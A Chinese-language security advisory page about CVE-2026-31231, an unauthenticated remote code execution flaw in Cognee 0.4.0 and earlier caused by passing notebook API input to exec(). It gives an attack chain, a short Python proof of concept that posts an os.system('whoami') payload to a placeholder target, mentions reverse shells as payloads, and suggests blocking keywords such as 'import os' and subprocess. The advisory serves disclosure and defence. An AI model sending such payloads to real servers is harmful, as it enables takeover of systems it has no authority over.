IPBUF安全漏洞报告
English
CVE-2026-31231 CVSS 9.8 严重

CVE-2026-31231 Cognee远程代码执行漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31231
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cognee

相关标签

RCE远程代码执行PythonCogneeexec()Critical

漏洞概述

Cognee 在版本 0.4.0 及之前的代码中存在严重的远程代码执行漏洞。该漏洞源于其 notebook cell execution API 端点未对用户输入的 Python 代码进行任何沙箱隔离或安全校验,直接使用不安全的 exec() 函数执行。未经身份验证的攻击者可通过发送特制的 POST 请求,在服务器端执行任意恶意代码,从而完全控制受影响系统。

技术细节

该漏洞的核心在于 Cognee 应用程序 notebook cell execution API 端点的不安全实现。该组件旨在为用户提供执行 Python 代码的能力,但在后端处理逻辑中,直接调用了 Python 高危内置函数 `exec()` 对用户输入进行解析。由于缺乏必要的沙箱隔离技术(如容器化或 RestrictedPython 库),也未对提交的代码内容进行黑名单过滤或 AST 语法树分析,攻击者完全可以控制执行环境。结合 CVSS 向量分析,该漏洞无需身份验证(PR:N)且攻击复杂度低(AC:L),攻击者只需向相关端点发送包含恶意 Payload(如反弹 Shell 命令)的 POST 请求,即可触发代码执行,进而导致服务器权限被完全接管。

攻击链分析

STEP 1
Reconnaissance
Identify a target running Cognee version 0.4.0 or earlier.
STEP 2
Exploitation
Craft a malicious Python payload (e.g., reverse shell or system command) and send a POST request to the notebook execution API endpoint.
STEP 3
Execution
The server processes the request and executes the payload using the insecure exec() function.
STEP 4
Control
Attacker gains remote code execution capabilities with the privileges of the server process.

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Cognee instance target_url = "http://target-ip:port/api/execute" # Malicious Python payload to execute commands on the server # Example: executing 'whoami' command payload_data = { "code": "import os; os.system('whoami')" } try: # Sending the POST request to the vulnerable endpoint response = requests.post(target_url, json=payload_data) if response.status_code == 200: print("[+] Exploit successful! Server output:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

Cognee <= 0.4.0

防御指南

临时缓解措施
建议立即在防火墙或 WAF 层面阻断外部对 Cognee notebook 执行接口的访问。若无法立即升级,请暂停使用受影响版本,并在应用层面对传入代码进行严格的关键词过滤(如禁止 import os, subprocess 等),直到应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表